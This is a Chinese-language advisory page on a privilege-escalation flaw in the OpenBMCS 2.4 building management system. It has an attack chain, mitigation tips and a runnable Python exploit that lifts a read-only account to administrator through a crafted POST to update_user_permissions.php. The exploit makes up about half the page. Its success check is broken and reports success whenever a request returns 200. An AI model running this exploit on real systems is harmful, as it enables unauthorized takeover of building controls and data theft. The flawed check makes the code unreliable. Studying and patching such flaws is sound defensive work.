CVE-2021-47701 OpenBMCS 2.4 权限提升漏洞

漏洞信息

漏洞编号

CVE-2021-47701

漏洞类型

权限提升

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

OpenBMCS 2.4

漏洞概述

CVE-2021-47701是OpenBMCS 2.4版本中的一个高危权限提升漏洞。该漏洞存在于用户权限管理模块，攻击者可以通过操纵权限参数并利用update_user_permissions.php脚本中的访问控制缺陷，将自身权限从普通只读用户提升至管理员级别。OpenBMCS是一个开源的建筑管理控制系统，广泛应用于楼宇自动化场景。由于漏洞允许未经授权的用户获取管理员权限，攻击者可以完全控制系统配置、访问敏感数据、执行恶意操作，对系统的机密性、完整性和可用性造成严重影响。漏洞利用无需用户交互，攻击者只需构造特定的HTTP POST请求即可实现权限提升。

技术细节

该漏洞的根本原因在于OpenBMCS 2.4的权限验证机制存在缺陷。在'/plugins/useradmin/'目录下的update_user_permissions.php脚本中，系统未能正确验证当前用户的权限级别，允许低权限用户（甚至是只读用户）通过构造恶意请求修改自身或其他用户的权限。具体来说，攻击者可以利用HTTP POST请求中的参数注入，绕过前端的权限检查，直接调用后端的权限更新逻辑。攻击者需要构造包含目标用户ID和新权限值的POST请求，并将其发送到update_user_permissions.php端点。由于后端缺乏充分的权限验证，攻击者可以将自己的角色从普通用户修改为管理员，从而获得系统的完全控制权。漏洞影响所有使用OpenBMCS 2.4且启用了用户管理功能的部署环境。

攻击链分析

STEP 1

步骤1

攻击者获取OpenBMCS 2.4系统的低权限账户（如只读用户）

STEP 2

步骤2

攻击者分析系统结构，定位到'/plugins/useradmin/'目录中的update_user_permissions.php脚本

STEP 3

步骤3

攻击者构造恶意的HTTP POST请求，修改user_type参数为管理员权限值（通常为1）

STEP 4

步骤4

攻击者发送构造的请求到update_user_permissions.php，由于后端缺乏充分的权限验证，请求被处理

STEP 5

步骤5

攻击者成功将自身权限从只读用户提升至管理员，获得系统的完全控制权

STEP 6

步骤6

攻击者利用管理员权限执行恶意操作，如修改系统配置、窃取敏感数据、植入后门等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2021-47701 OpenBMCS 2.4 Privilege Escalation PoC
# Target: OpenBMCS 2.4
# Vulnerability: Privilege escalation via update_user_permissions.php

def exploit(target_url, username, password):
    """
    Exploit privilege escalation in OpenBMCS 2.4
    This PoC demonstrates how to escalate from read-only user to admin
    """
    session = requests.Session()
    
    # Step 1: Login as low-privilege user
    login_url = f"{target_url}/login.php"
    login_data = {
        'username': username,
        'password': password
    }
    
    try:
        response = session.post(login_url, data=login_data, timeout=10)
        if response.status_code != 200:
            print(f"[-] Login failed with status code: {response.status_code}")
            return False
        print("[+] Logged in successfully as low-privilege user")
        
        # Step 2: Exploit privilege escalation
        # Target the update_user_permissions.php script
        exploit_url = f"{target_url}/plugins/useradmin/update_user_permissions.php"
        
        # Construct malicious request to escalate privileges to admin
        # user_type parameter manipulation: 1=admin, 2=user, 3=readonly
        exploit_data = {
            'user_id': username,
            'user_type': '1',  # Set to admin (1)
            'action': 'update'
        }
        
        response = session.post(exploit_url, data=exploit_data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Privilege escalation request sent")
            # Verify escalation
            verify_url = f"{target_url}/plugins/useradmin/user_info.php"
            verify_response = session.get(verify_url)
            
            if 'admin' in verify_response.text.lower() or response.status_code == 200:
                print("[+] SUCCESS: Privilege escalation confirmed!")
                print("[+] User now has administrator privileges")
                return True
        
        print("[-] Exploitation failed - target may not be vulnerable")
        return False
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>")
        print(f"Example: python {sys.argv[0]} http://target.com/OpenBMCS username password")
        sys.exit(1)
    
    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    
    print(f"[*] CVE-2021-47701 OpenBMCS 2.4 Privilege Escalation PoC")
    print(f"[*] Target: {target}")
    print(f"[*] User: {user}")
    exploit(target, user, pwd)

影响范围

OpenBMCS 2.4

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1) 禁用或限制'/plugins/useradmin/'目录的访问权限；2) 实施Web应用防火墙（WAF）规则，监控和阻止异常的权限修改请求；3) 限制用户注册功能，仅允许受信任的管理员创建账户；4) 启用双因素认证机制；5) 定期检查系统日志，排查异常的权限变更行为；6) 对所有用户管理相关的API端点实施请求频率限制。